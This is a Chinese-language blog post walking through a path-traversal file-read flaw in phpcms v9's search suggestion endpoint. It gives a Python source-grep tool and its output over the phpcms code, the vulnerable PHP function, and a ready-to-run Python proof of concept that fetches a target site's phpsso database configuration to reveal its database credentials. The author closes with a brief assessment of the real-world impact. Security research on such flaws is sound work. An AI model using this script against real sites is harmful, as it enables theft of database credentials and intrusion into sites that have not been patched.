phpcms v9 爆密码

   1.首先是http://www.wooyun.org/bugs/wooyun-2010-010072

      有人报告phpcms v9 直接爆密码

    开始我还比较迷惑，因为我记得我看过phpcms v9 的管理员密码体系是有salt的，光爆密码没啥用啊？

 

  2.后面有人指出了是和前一个http://www.wooyun.org/bugs/wooyun-2010-09463的补充

      我记得这个漏洞开始报的是一个xss，实质则是一个file_get_contents的问题，就变成了任意文件浏览的问题

 

3  下来就是如何构造和如何找的问题了，

     我先利用了pfind 查找file_get_contents，得到如下结果：

#/usr/bin/python
import os
from sys import argv

class pfind:
    #hm=open("123.htm","r+")
    allfile=[]
    allpt=[]
    fun=["$_REQUEST","$_GET","$_POST","$_FILE","fput","fread","fwrite","file_get_contents","file_put_contents"]
    #fun=["include","include_once","require","require_once","show_source"]
    #fun=["eval","preg_replace+/e","assert","call_user_func","call_user_func_array","create_function"]
    #fun=["get_rid"]
    #fun=["select ","update","insret","$_SERVER","$_POST","$_COOKIE","$_REQUEST","$_FILES","$_ENV","$_HTTP_COOKIE_VARS","$_HTTP_ENV_VARS","$_HTTP_GET_VARS","$_HTTP_POST_FILES","$_HTTP_POST_VARS","$_HTTP_SERVER_VARS","system","exec","passthru","shell_exec","popen","proc_open","eval","assert","fwrite","fput","fread","file_put_contents","move_uploaded_file"]
    def getfl (self,fl):
        for i in os.listdir(fl):
            if os.path.isdir(fl+"\\"+i)==True:                
                ft=fl+"\\"+i
                self.getfl(ft)
            elif os.path.isfile(fl+"\\"+i)==True:
                self.findfun(fl+"\\"+i)
               # self.allfile.append(fl+"\\"+i)
    def findfun (self,fl):
        ln=1
        try:
            fl.split(".php")
        except:
            exit
        
        fp=open(fl,"r+")
        while True:
            line=fp.readline()
            if line:
                x=0
                while x< len(self.fun):
                    if self.fun[x] in line :
                        #print 
                        
                        print "[+] File: "+fl
                        print "[+] Line: "+str(ln)
                        print "[+] Have: "+self.fun[x]
                        print "[+] Code: "+line
                        
                    x=x+1

            else:
                break
            ln=ln+1
    def vfind (self,fl,val):
        ln=1
        fp=open(fl,"r+")
        while True:
            line=fp.readline()
            if line:
                if val in line:
                    print "[+] File: "+fl
                    print "[+] Have: "+val
                    print "[+] Line: "+str(ln)
                    print "[+] Code: "+line
            else:
                break
#'''
try:
    c=argv[1]
    if c=="-p":
        a=pfind()
        a.getfl(argv[2])
    elif c=="-f":
        a=pfind()
        a.fun=[argv[3]]
        a.getfl(argv[2])         
except:
    print "[+] Code By Cond0r QQ 707447667"
    print "[+] Blog Pythoner.blog.com"
    print "[+] usage: "+argv[0]+" -p c:\\1\\"
    print "[+] usage: "+argv[0]+" -f c:\\1\\  $value"
    #'''
#a=pfind()
#a.vfind("D:\DTServer\www\\22\\admin_permissions.php","a")

 

  写道

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 28
[+] Have: file_get_contents
[+] Code: $license = file_get_contents(PHPCMS_PATH."install/license.txt");

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 78
[+] Have: file_get_contents
[+] Code: $returnid = @file_get_contents($remote_url);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 216
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents(PHPCMS_PATH."install/main/".$dbfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 276
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents(PHPCMS_PATH."install/main/".$dbfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 330
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents(PHPCMS_PATH."install/main/testsql.sql");

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 468
[+] Have: file_get_contents
[+] Code: $str = file_get_contents($configfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\install\install.php
[+] Line: 484
[+] Have: file_get_contents
[+] Code: $str = file_get_contents($configfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\cache_file.class.php
[+] Line: 88
[+] Have: file_get_contents
[+] Code: $data = unserialize(file_get_contents($filepath.$filename));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\http.class.php
[+] Line: 54
[+] Have: file_get_contents
[+] Code: $this->post .= "\r\n".file_get_contents($v)."\r\n";

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\ip_area.class.php
[+] Line: 62
[+] Have: file_get_contents
[+] Code: $data = $xml->xml_unserialize(@file_get_contents($api_url));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\template_cache.class.php
[+] Line: 34
[+] Have: file_get_contents
[+] Code: $content = @file_get_contents ( $tplfile );

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\template_cache.class.php
[+] Line: 55
[+] Have: file_get_contents
[+] Code: $str = @file_get_contents ($tplfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\template_cache.class.php
[+] Line: 143
[+] Have: file_get_contents
[+] Code: $str .= '$json = @file_get_contents(\''.$datas['url'].'\');';

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\classes\template_cache.class.php
[+] Line: 150
[+] Have: file_get_contents
[+] Code: $str .= '$xml_data = @file_get_contents(\''.$datas['url'].'\');';

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\functions\dir.func.php
[+] Line: 75
[+] Have: file_get_contents
[+] Code: file_put_contents($v, iconv($in_charset, $out_charset, file_get_contents($v)));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\functions\global.func.php
[+] Line: 1561
[+] Have: file_get_contents
[+] Code: function pc_file_get_contents($url, $timeout=30) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\libs\functions\global.func.php
[+] Line: 1563
[+] Have: file_get_contents
[+] Code: return @file_get_contents($url, 0, $stream);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\cache_api.class.php
[+] Line: 262
[+] Have: file_get_contents
[+] Code: $cache_data = file_get_contents(MODEL_PATH.'content_'.$classtype.'.class.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\cache_api.class.php
[+] Line: 266
[+] Have: file_get_contents
[+] Code: $cache_data .= file_get_contents(MODEL_PATH.$field.DIRECTORY_SEPARATOR.$classtype.'.inc.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\cache_api.class.php
[+] Line: 383
[+] Have: file_get_contents
[+] Code: $cache_data = file_get_contents(MEMBER_MODEL_PATH.'member_'.$classtype.'.class.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\cache_api.class.php
[+] Line: 387
[+] Have: file_get_contents
[+] Code: $cache_data .= file_get_contents(MEMBER_MODEL_PATH.$field.DIRECTORY_SEPARATOR.$classtype.'.inc.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\card.class.php
[+] Line: 71
[+] Have: file_get_contents
[+] Code: if ($data = @file_get_contents(self::$server_url.$url)) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\module_api.class.php
[+] Line: 42
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents($this->installdir.$m.'.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\module_api.class.php
[+] Line: 52
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\classes\module_api.class.php
[+] Line: 182
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents($this->uninstalldir.$m.'.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\database.php
[+] Line: 320
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents($filepath);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\database.php
[+] Line: 329
[+] Have: file_get_contents
[+] Code: $sql = file_get_contents($filepath);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\functions\global.func.php
[+] Line: 49
[+] Have: file_get_contents
[+] Code: $str = file_get_contents($configfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\index.php
[+] Line: 288
[+] Have: file_get_contents
[+] Code: $snda_res_json = @file_get_contents($snda_check_url);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\menu.php
[+] Line: 44
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\menu.php
[+] Line: 90
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\menu.php
[+] Line: 95
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 230
[+] Have: file_get_contents
[+] Code: $data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_applist&s='.$s.'&p='.$p);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 233
[+] Have: file_get_contents
[+] Code: $recommed_data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_recommed_applist&s=5&p=1');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 236
[+] Have: file_get_contents
[+] Code: $focus_data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_app_focus&num=3');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 252
[+] Have: file_get_contents
[+] Code: $data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_detail_byappid&id='.$id);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 268
[+] Have: file_get_contents
[+] Code: $data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_detail_byappid&id='.$id);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 337
[+] Have: file_get_contents
[+] Code: @file_put_contents($upgradezip_path, @file_get_contents($upgradezip_url));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\admin\plugin.php
[+] Line: 377
[+] Have: file_get_contents
[+] Code: $data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_detail_byappid&id='.$id);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\cnzz\index.php
[+] Line: 22
[+] Have: file_get_contents
[+] Code: if ($data = @file_get_contents('http://wss.cnzz.com/user/companion/phpcms.php?domain='.APP_PATH.'&key='.$key.'&cms=phpcms')) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\collection\classes\collection.class.php
[+] Line: 218
[+] Have: file_get_contents
[+] Code: if (!empty($url) && $html = @file_get_contents($url)) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\collection\node.php
[+] Line: 154
[+] Have: file_get_contents
[+] Code: $data = json_decode(base64_decode(file_get_contents($filename)), true);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\content\sitemodel.php
[+] Line: 48
[+] Have: file_get_contents
[+] Code: $model_sql = file_get_contents(MODEL_PATH.'model.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\content\sitemodel.php
[+] Line: 135
[+] Have: file_get_contents
[+] Code: $cache_data = file_get_contents(MODEL_PATH.'content_'.$classtype.'.class.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\content\sitemodel.php
[+] Line: 139
[+] Have: file_get_contents
[+] Code: $cache_data .= file_get_contents(MODEL_PATH.$field.DIRECTORY_SEPARATOR.$classtype.'.inc.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\content\sitemodel.php
[+] Line: 195
[+] Have: file_get_contents
[+] Code: $model_import = @file_get_contents($_FILES['model_import']['tmp_name']);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\content\sitemodel.php
[+] Line: 206
[+] Have: file_get_contents
[+] Code: $model_sql = file_get_contents(MODEL_PATH.'model.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\formguide\classes\formguide.class.php
[+] Line: 26
[+] Have: file_get_contents
[+] Code: $cache_data = file_get_contents(MODEL_PATH.'formguide_'.$classtype.'.class.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\formguide\classes\formguide.class.php
[+] Line: 30
[+] Have: file_get_contents
[+] Code: $cache_data .= file_get_contents(MODEL_PATH.$field.DIRECTORY_SEPARATOR.$classtype.'.inc.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\formguide\formguide.php
[+] Line: 46
[+] Have: file_get_contents
[+] Code: $create_sql = file_get_contents(MODEL_PATH.'create.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\member_cache.class.php
[+] Line: 28
[+] Have: file_get_contents
[+] Code: $cache_data = file_get_contents(MODEL_PATH.'member_'.$classtype.'.class.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\member_cache.class.php
[+] Line: 32
[+] Have: file_get_contents
[+] Code: $cache_data .= file_get_contents(MODEL_PATH.$field.DIRECTORY_SEPARATOR.$classtype.'.inc.php');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\OauthSDK.class.php
[+] Line: 578
[+] Have: file_get_contents
[+] Code: @file_get_contents($url);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\qqoauth.class.php
[+] Line: 251
[+] Have: file_get_contents
[+] Code: file_get_contents(self::$POST_INPUT)

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\qqoauth.class.php
[+] Line: 840
[+] Have: file_get_contents
[+] Code: $content = file_get_contents( $url );

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\weibooauth.class.php
[+] Line: 251
[+] Have: file_get_contents
[+] Code: file_get_contents(self::$POST_INPUT)

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\classes\weibooauth.class.php
[+] Line: 840
[+] Have: file_get_contents
[+] Code: $content = file_get_contents( $url );

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\member_menu.php
[+] Line: 46
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\member_menu.php
[+] Line: 90
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\member_menu.php
[+] Line: 95
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\member_model.php
[+] Line: 47
[+] Have: file_get_contents
[+] Code: $model_import = @file_get_contents($_FILES['model_import']['tmp_name']);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\member\member_model.php
[+] Line: 58
[+] Have: file_get_contents
[+] Code: $model_sql = file_get_contents(MODEL_PATH.'model.sql');

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\scan\index.php
[+] Line: 88
[+] Have: file_get_contents
[+] Code: $html = file_get_contents(PHPCMS_PATH.$key);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\scan\index.php
[+] Line: 107
[+] Have: file_get_contents
[+] Code: $html = file_get_contents(PHPCMS_PATH.$key);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\scan\index.php
[+] Line: 133
[+] Have: file_get_contents
[+] Code: $html = file_get_contents(PHPCMS_PATH.$url);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\search\index.php
[+] Line: 201
[+] Have: file_get_contents
[+] Code: $res = @file_get_contents($url);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\template\file.php
[+] Line: 82
[+] Have: file_get_contents
[+] Code: $data = htmlspecialchars(file_get_contents($filepath));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\template\functions\global.func.php
[+] Line: 8
[+] Have: file_get_contents
[+] Code: $data = file_get_contents($file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\template\functions\global.func.php
[+] Line: 48
[+] Have: file_get_contents
[+] Code: $data = @file_get_contents($filepath);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\template\functions\global.func.php
[+] Line: 65
[+] Have: file_get_contents
[+] Code: $template_bak_db->insert(array('creat_at'=>SYS_TIME,'fileid'=>$style."_".$dir."_".$filename, 'userid'=>param::get_cookie('userid'), 'username'=>param::get_cookie('admin_username'), 'template'=>new_addslashes(file_get_contents($filepath))));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\template\style.php
[+] Line: 71
[+] Have: file_get_contents
[+] Code: $code = json_decode(base64_decode(file_get_contents($filename)), true);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\upgrade\index.php
[+] Line: 21
[+] Have: file_get_contents
[+] Code: $pathlist_str = @file_get_contents($upgrade_path_base);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\upgrade\index.php
[+] Line: 69
[+] Have: file_get_contents
[+] Code: @file_put_contents($upgradezip_path, @file_get_contents($upgradezip_url));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\upgrade\index.php
[+] Line: 99
[+] Have: file_get_contents
[+] Code: if (strtolower(substr($file_list[$fk], -3, 3)) == 'sql' && $data = file_get_contents($file_list[$fk])) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\upgrade\index.php
[+] Line: 131
[+] Have: file_get_contents
[+] Code: $content = file_get_contents($menu_lan_file);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\upgrade\index.php
[+] Line: 187
[+] Have: file_get_contents
[+] Code: $phpcms_md5 = @file_get_contents($this->_upgrademd5.$current_version['pc_release'].'_'.CHARSET.".php");

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\api\uc.php
[+] Line: 21
[+] Have: file_get_contents
[+] Code: $post = xml_unserialize(file_get_contents('php://input'));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\libs\classes\cache_file.class.php
[+] Line: 74
[+] Have: file_get_contents
[+] Code: $data = unserialize(file_get_contents($filepath.$filename));

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\libs\classes\http.class.php
[+] Line: 54
[+] Have: file_get_contents
[+] Code: $this->post .= "\r\n".file_get_contents($v)."\r\n";

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\libs\classes\template_cache.class.php
[+] Line: 27
[+] Have: file_get_contents
[+] Code: $content = @file_get_contents ( $tplfile );

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\libs\classes\template_cache.class.php
[+] Line: 43
[+] Have: file_get_contents
[+] Code: $content = @file_get_contents ( $tplfile );

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\libs\classes\template_cache.class.php
[+] Line: 62
[+] Have: file_get_contents
[+] Code: $str = @file_get_contents ($tplfile);

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\modules\admin\applications.php
[+] Line: 156
[+] Have: file_get_contents
[+] Code: if ($data = @file_get_contents($url.'code='.urlencode($param))) {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpsso_server\phpcms\modules\admin\system.php
[+] Line: 56
[+] Have: file_get_contents
[+] Code: $html = file_get_contents($filepath);

 

非常多的file_get_contents，然后找到了有漏洞的在\phpcms\modules\search\index.php 下面的203行如下

	public function public_get_suggest_keyword() {
		#echo 'ice test';
		$url = $_GET['url'].'&q='.$_GET['q'];
		#echo $url ;
		$res = @file_get_contents($url);
		#echo $res;
		if(CHARSET != 'gbk') {
			$res = iconv('gbk', CHARSET, $res);
		}
		echo $res;
	}

 可以看到这里直接对url和q进行了拼接即： url+'&q='+q这种样子然后去file_get_content

 

然后就找可以利用的地方：

依然利用pfind，查找public_get_suggest_keyword，得到了如下代码

 

 写道

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\phpcms\modules\search\index.php
[+] Line: 198
[+] Have: public_get_suggest_keyword
[+] Code: public function public_get_suggest_keyword() {

[+] File: F:\hacker\webproject\phpcms_v9\install_package\\\statics\js\search_suggest.js
[+] Line: 2
[+] Have: public_get_suggest_keyword
[+] Code: $("#q").suggest("?m=search&c=index&a=public_get_suggest_keyword&url="+encodeURIComponent('http://www.google.cn/complete/search?hl=zh-CN&q='+$("#q").val()), {

可以识别出是第二个就是调用这个危险方法的地方，可以抽取出来，也是比较直接的可以控制url和q参数，下来就是怎么构造本地文件路径的问题，由于存在&q=的问题，我陷入了误区不知如何绕过，然后看了疯子的exe，倒是解决了这个问题但原因不详....

 

 

最终写出了poc来

#! /usr/bin/env python
#coding=utf-8

"""
这个py脚本是针对phpcms v9 的配置文件的，具体功能简单粗暴
参考了乌云 http://www.wooyun.org/bugs/wooyun-2010-010072
以及 疯子blog的东西

Code By icefish
"""
from sys import argv
import urllib2
import re
def run(url):
    url=url+'/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php'
    print '\n\n***********get DataBase Password:*************\n'
    print url
    req = urllib2.Request(url)   
    resp = urllib2.urlopen(req) 
    info=resp.read()
    s=info.replace('	','')
    s=re.sub(r'<\?php\s*return\s*array\s*\(', '', s)
    s=re.sub(r'>', '', s,re.S)
    print '\n\n***********Get the Config.php****************'
    print s
    
    return info
    
if __name__=='__main__':
    try:
       
        url=argv[1]
        
        if url!=None:
            run(url)
    except:
        print "[+] Code By icefish WeiBo http://weibo.com/u/1703624267"
        print "[+] Blog http://wcf1987.iteye.com/"
        print "[+] usage: "+argv[0]+" http://www.test.com/"
        
        
        
    

 

 

 

 

实际危害上，如果数据库没开外连，我觉得似乎没什么大危险吧....个人看法，